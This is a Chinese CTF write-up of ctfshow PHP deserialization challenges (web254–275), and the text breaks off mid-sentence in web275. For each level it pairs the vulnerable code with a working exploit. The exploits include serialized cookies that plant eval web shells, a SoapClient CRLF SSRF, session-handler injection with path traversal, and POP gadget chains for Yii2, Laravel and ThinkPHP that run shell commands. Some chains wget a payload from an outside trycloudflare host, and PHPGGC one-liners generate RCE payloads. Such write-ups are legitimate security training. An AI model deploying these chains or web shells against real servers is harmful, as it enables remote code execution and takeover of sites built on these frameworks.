web254
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
要求 username 和 password 都为 xxxxxx,根据提示构造 payload。
payload: ?username=xxxxxx&password=xxxxxx
web255
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
要求 cookie 中 user 值为一个序列化的 ctfshowUser 对象,属性 isVip 值为 true,username 和 password 和 GET 参数获取的一致。
1 2 3 4
| $user = new ctfShowUser(); $user->isVip = true; var_dump(serialize($user));
|
url: /?username=xxxxxx&password=xxxxxx
cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false;
public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
|
相比上题新增了 username !== password
的要求,按要求构造即可。
1 2 3 4 5 6
| $user = new ctfShowUser(); $user->isVip = true; $user->username = "china"; $user->password = "123456"; var_dump(serialize($user));
|
url: /?password=123456&username=china
cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22china%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php
error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ private $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
|
用 backDoor
代替 info
,然后正常构造即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php
error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=true; private $class = 'info';
public function __construct(){ $this->class= new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ private $code="file_put_contents('sh.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pID8+'));"; public function getInfo(){ eval($this->code); } }
$u = new ctfShowUser(); var_dump(urlencode(serialize($u)));
|
url: ?username=xxxxxx&password=xxxxxx
cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A79%3A%22file_put_contents%28%27sh.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pID8%2B%27%29%29%3B%22%3B%7D%7D
web258
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <?php
error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info';
public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ public $code; public function getInfo(){ eval($this->code); } }
$username=$_GET['username']; $password=$_GET['password'];
if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password); }
|
增加了正则过滤,这里可以利用 unserialize
函数的一个特性绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php
error_reporting(0); highlight_file(__FILE__);
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info';
public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }
}
class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; } }
class backDoor{ public $code="file_put_contents('sh.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=='));"; public function getInfo(){ eval($this->code); } }
$u = new ctfShowUser();
var_dump(urlencode(preg_replace("/([oc]):(\d+:)/i", "$1:+$2", serialize($u))));
|
url: ?username=xxxxxx&password=xxxxxx
cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A79%3A%22file_put_contents%28%27sh.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOw%3D%3D%27%29%29%3B%22%3B%7D%7D
蚁剑连接 sh.php
查看 flag。
web259
1 2 3 4 5 6 7 8
| <?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
$vip->getFlag();
|
flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13
| $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff);
if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
|
考点是利用 SoapClient
类反序列化 + CRLF
实现 SSRF
,构造请求访问 flag.php
得到 flag。
反序列化后的 SoapClient
对象在调用不存在的方法时会调用 __call
,在 user_agent
中插入 CRLF
也就是 \r\n
控制 header
和 body
构造想要的请求。
1 2 3 4 5 6 7 8 9 10 11
| <?php
$target = "http://127.0.0.1/flag.php"; $post = "token=ctfshow"; $a = new SoapClient(null, array( "location" => $target, "user_agent" => "aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".(string)strlen($post)."\r\n\r\n".$post, "uri" => "aaaa" ));
var_dump(urlencode(serialize($a)));
|
访问 flag.txt
得到 flag。
web260
1 2 3 4 5 6 7 8 9
| <?php
error_reporting(0); highlight_file(__FILE__); include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ echo $flag; }
|
需要传入的字符串序列化后满足正则 /ctfshow_i_love_36D/
,直接传这个就行。
payload: ?ctfshow=ctfshow_i_love_36D
web261
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php
highlight_file(__FILE__);
class ctfshowvip{ public $username; public $password; public $code;
public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); }
public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } }
unserialize($_GET['vip']);
|
PHP 文档中提到
注意:
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
注意:
此特性自 PHP 7.4.0 起可用。
查看 response header
可知 X-Powered-By: PHP/7.4.16
,那么 __wakeup
部分就不会被执行,与注释无异。
__destruct
函数部分弱比较 $this->code==0x36d
,因为 $this->code = $this->username.$this->password;
,username
可控制,因为 (int)'877.php' == 0x36d
,故传 877.php
即可绕过。
1 2 3 4 5 6 7 8 9 10
| <?php
class ctfshowvip{ public $username = "877.php"; public $password = "<?php @eval(\$_POST[2]);"; }
$a = new ctfshowvip();
var_dump(urlencode(serialize($a)));
|
payload: ?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+%40eval%28%24_POST%5B2%5D%29%3B%22%3B%7D
web262
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
$f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; }
highlight_file(__FILE__);
|
提示还有 message.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php
highlight_file(__FILE__); include('flag.php');
class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }
|
看似是反序列化字符串逃逸,实际上自己构造改 cookie
就可以。
1 2 3 4 5 6 7 8
| <?php
class message{ public $token='admin'; }
$a = new message(); var_dump(base64_encode(serialize($a)));
|
cookie: msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
web263
打开一个登录框,登录失败没啥信息,扫描器扫到备份 www.zip
,下载得到源码。
index.php 中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
error_reporting(0); session_start(); if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; } ?>
|
可知我们可以通过修改 $COOKIE['limit']
来控制 session
的内容。
inc.php 中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
...
ini_set('session.serialize_handler', 'php'); session_start(); ...
class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } }
...
|
使用 ini_set
指定了 serialize_handler
为 php
,如果默认的 serialize_handler
为 php_serialize
,就可以通过在序列化的字符串之前加 |
,反序列化任意对象。
- php_binary: 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
- php: 存储方式是,键名+竖线+经过serialize()函数序列处理的值
- php_serialize(php>5.5.4): 存储方式是,经过serialize()函数序列化处理的值
注意:在 php 5.5.4
以前默认选择的是 php
,5.5.4
之后就是 php_serialize
,这里的 php
版本为 7.3.11
,那么默认就是 php_serialize
。
那么思路就很清晰了,首先在 $COOKIE['limit']
中构造 |+序列化对象
的字符串,访问首页写入 session
,再通过 check.php
加载的 inc.php
中的 ini_set('session.serialize_handler', 'php');
将 session
以 session.serialize_handler=php
的格式反序列化,执行 User
类的 __destruct
方法写 shell
。
首先构造 payload
:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
class User{ public $username = "test/../../../../../../../../../../var/www/html/c.php"; public $password = "<?php @eval(\$_POST[1]); ?>"; public $status; }
$a = new User(); $target = '|'.serialize($a); var_dump($target); var_dump(urlencode(base64_encode($target)));
|
payload: fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1MzoidGVzdC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2h0bWwvYy5waHAiO3M6ODoicGFzc3dvcmQiO3M6MjY6Ijw%2FcGhwIEBldmFsKCRfUE9TVFsxXSk7ID8%2BIjtzOjY6InN0YXR1cyI7Tjt9
更改 cookie
后访问 index.php
,session
的内容是这样的:
1
| a:1:{s:5:"limit";s:156:"|O:4:"User":3:{s:8:"username";s:53:"test/../../../../../../../../../../var/www/html/b.php";s:8:"password";s:26:"<?php @eval($_POST[1]); ?>";s:6:"status";N;}
|
这是 session.serialize_handler=php_serialize
存储的结果,如果通过 session.serialize_handler=php
读取 session
,就会把前面的 a:1:{s:5:"limit";s:156:"
当作 key
,|
后面的部分作为序列化对象反序列化,就可以反序列化 User
类了。
web264
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
error_reporting(0); session_start();
class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
$f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $_SESSION['msg']=base64_encode($umsg); echo 'Your message has been sent'; }
highlight_file(__FILE__);
|
注释中提示还有 message.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
session_start(); highlight_file(__FILE__); include('flag.php');
class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } }
if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_SESSION['msg'])); if($msg->token=='admin'){ echo $flag; } }
|
这次相比 web262
有了 session
的限制,就不能自己构造了,用起来反序列化字符串逃逸。fuck
-> loveU
增加了一个字符,要逃逸出来的字符串 ";s:5:"token";s:5:"admin";}
长度为 27,故构造 27 个 fuck
:
1
| print("fuck"*27+"""";s:5:"token";s:5:"admin";}""")
|
payload: ?f=aaaa&m=aaaa&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web265
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php
error_reporting(0); include('flag.php'); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password;
public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } }
$ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand());
if($ctfshow->login()){ echo $flag; }
|
如果要靠输入的 $password
去和 md5(mt_rand())
碰撞,几乎是不可能的。这里需要用到 php
的引用,使得 $password = &$token;
,那么 $password === $token
就没问题了。
1 2 3 4 5 6 7 8 9 10
| <?php
class ctfshowAdmin{ public $token; public $password; }
$c = new ctfshowAdmin(); $c->password = &$c->token; var_dump(urlencode(serialize($c)));
|
payload: ?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
web266
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php
highlight_file(__FILE__);
include('flag.php'); $cs = file_get_contents('php://input');
class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }
|
这里涉及到一个 php
常识:PHP大小写:函数名和类名不区分,变量名区分。
1 2 3 4 5 6 7 8 9 10
| <?php
class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; }
$c = new ctfshow(); $a = str_replace("ctfshow", "ctfsHow", serialize($c)); var_dump($a);
|
php://input
要用 bp。
payload: O:7:"ctfsHow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
web267
一开始没思路,搜了一下知道是 Yii
框架的反序列化漏洞。
首先 admin/admin
弱密码登录,然后在 /index.php?r=site/about
可以看到注释里面有一个 ?view-source
,加上之后访问 /index.php?r=site%2Fabout&view-source
看到一个反序列化的点 backdoor/shell unserialize(base64_decode($_GET['code']))
,随便搜一个反序列化的 pop
链打一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id;
public function __construct(){ $this->checkAccess = 'shell_exec'; $this->id = 'cp /flag 3.txt'; } } }
namespace Faker{ use yii\rest\CreateAction;
class Generator{ protected $formatters;
public function __construct(){ $this->formatters['close'] = [new CreateAction, 'run']; } } }
namespace yii\db{ use Faker\Generator;
class BatchQueryResult{ private $_dataReader;
public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>
|
这里 system
不能用,用了 shell_exec
。
payload: /index.php?r=backdoor%2Fshell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTQ6ImNwIC9mbGFnIDMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
访问 3.txt
得到 flag
。
web268
前面的流程和上一题差不多,不过这次不给用 BatchQueryResult
了,改用 RunProcess
类作为 pop
链入口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'passthru'; $this->id = 'wget https://hoping-billy-vip-pair.trycloudflare.com/big.php'; } } } namespace Faker{ use yii\rest\IndexAction; class Generator{ protected $formatters ; public function __construct(){ $this->formatters['isRunning']=[new IndexAction(),'run']; } } } namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes=[]; public function __construct(){ $this->processes[]=new Generator(); } } } namespace{ use Codeception\Extension\RunProcess; echo base64_encode(serialize(new RunProcess())); }
|
web269
同理,换个链换个函数接着打,主要的内容还是要理解如何构造 pop
链,剩下的就是机械劳动了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <?php namespace { use phpDocumentor\Reflection\DocBlock\Tags\Covers;
class Swift_KeyCache_DiskKeyCache{ private $path; private $keys;
public function __construct() { $this->keys = array( "V0W" =>array("is", "Ca1j1") ); $this->path = new Covers(); } }
$payload = new Swift_KeyCache_DiskKeyCache(); echo base64_encode(serialize($payload)); }
namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator;
class Covers{ private $refers; protected $description; public function __construct() { $this->description = new Generator(); $this->refers = "AnyStringisOK"; } }
}
namespace yii\rest{ class IndexAction{ public $checkAccess; public $id;
public function __construct(){ $this->checkAccess = 'exec'; $this->id = 'wget https://hoping-billy-vip-pair.trycloudflare.com/big.php'; } } }
namespace Faker{ use yii\rest\IndexAction;
class Generator{ protected $formatters;
public function __construct(){ $this->formatters['render'] = [new IndexAction, 'run']; } } }
|
web270
学会构造 pop
链固然重要,但这里找到了好用的工具 PHPGGC
。
1
| $ ./phpggc Yii2/RCE2 "passthru('wget https://hoping-billy-vip-pair.trycloudflare.com/big.php');" --base64
|
一键生成 payload
,有脚本小子内味了。
web271-273
不得不说这玩意真好用
1
| $ ./phpggc Laravel/RCE6 "system('cat /flag');" --url
|
payload: data=O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A35%3A%22%3C%3Fphp+system%28%27cat+%2Fflag%27%29%3B+exit%3B+%3F%3E%22%3B%7D%7D%7D%7D
web274
这里 phpggc
的不能用了,找了另外一个链打的,看来有空也要构建自己的武器库。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| <?php namespace think\process\pipes{ use think\model\Pivot; class Windows{ private $files = []; public function __construct() { $this->files[]=new Pivot(); } } } namespace think{ abstract class Model{ private $data = []; protected $append = []; public function __construct() { $this->data=array( 'autumn'=>new Request() ); $this->append=array( 'autumn'=>array( 'hello'=>'world' ) ); } } } namespace think\model{ use think\Model; class Pivot extends Model{ } } namespace think{ class Request{ protected $hook = []; protected $config = [ 'var_method' => '_method', 'var_ajax' => '', 'var_pjax' => '_pjax', 'var_pathinfo' => 's', 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], 'default_filter' => '', 'url_domain_root' => '', 'https_agent_name' => '', 'http_agent_ip' => 'HTTP_X_REAL_IP', 'url_html_suffix' => 'html', ]; protected $filter; public function __construct() { $this->hook['visible']=[$this,'isAjax']; $this->filter='system'; } } } namespace { use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); }
|
payload: ?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo2OiJhdXR1bW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6NTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBjb25maWciO2E6MTA6e3M6MTA6InZhcl9tZXRob2QiO3M6NzoiX21ldGhvZCI7czo4OiJ2YXJfYWpheCI7czowOiIiO3M6ODoidmFyX3BqYXgiO3M6NToiX3BqYXgiO3M6MTI6InZhcl9wYXRoaW5mbyI7czoxOiJzIjtzOjE0OiJwYXRoaW5mb19mZXRjaCI7YTozOntpOjA7czoxNDoiT1JJR19QQVRIX0lORk8iO2k6MTtzOjE4OiJSRURJUkVDVF9QQVRIX0lORk8iO2k6MjtzOjEyOiJSRURJUkVDVF9VUkwiO31zOjE0OiJkZWZhdWx0X2ZpbHRlciI7czowOiIiO3M6MTU6InVybF9kb21haW5fcm9vdCI7czowOiIiO3M6MTY6Imh0dHBzX2FnZW50X25hbWUiO3M6MDoiIjtzOjEzOiJodHRwX2FnZW50X2lwIjtzOjE0OiJIVFRQX1hfUkVBTF9JUCI7czoxNToidXJsX2h0bWxfc3VmZml4IjtzOjQ6Imh0bWwiO31zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBhcHBlbmQiO2E6MTp7czo2OiJhdXR1bW4iO2E6MTp7czo1OiJoZWxsbyI7czo1OiJ3b3JsZCI7fX19fX0=&autumn=cat /flag
web275
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php
highlight_file(__FILE__);
class filter{ public $filename; public $filecontent; public $evilfile=false;
public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile){ system('rm '.$this->filename); } } }
if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; }
|
一开始以为是条件竞争,但是发了下请求会发现如果在 $_GET['fn']
中带上 /var/www/html/
,后面的 unlink
会因为重复了两遍路径删不掉文件,也就不需要条件竞争就可以持久化写入文件。但是因为正则对文件名进行了限制,没找到可以代替 php
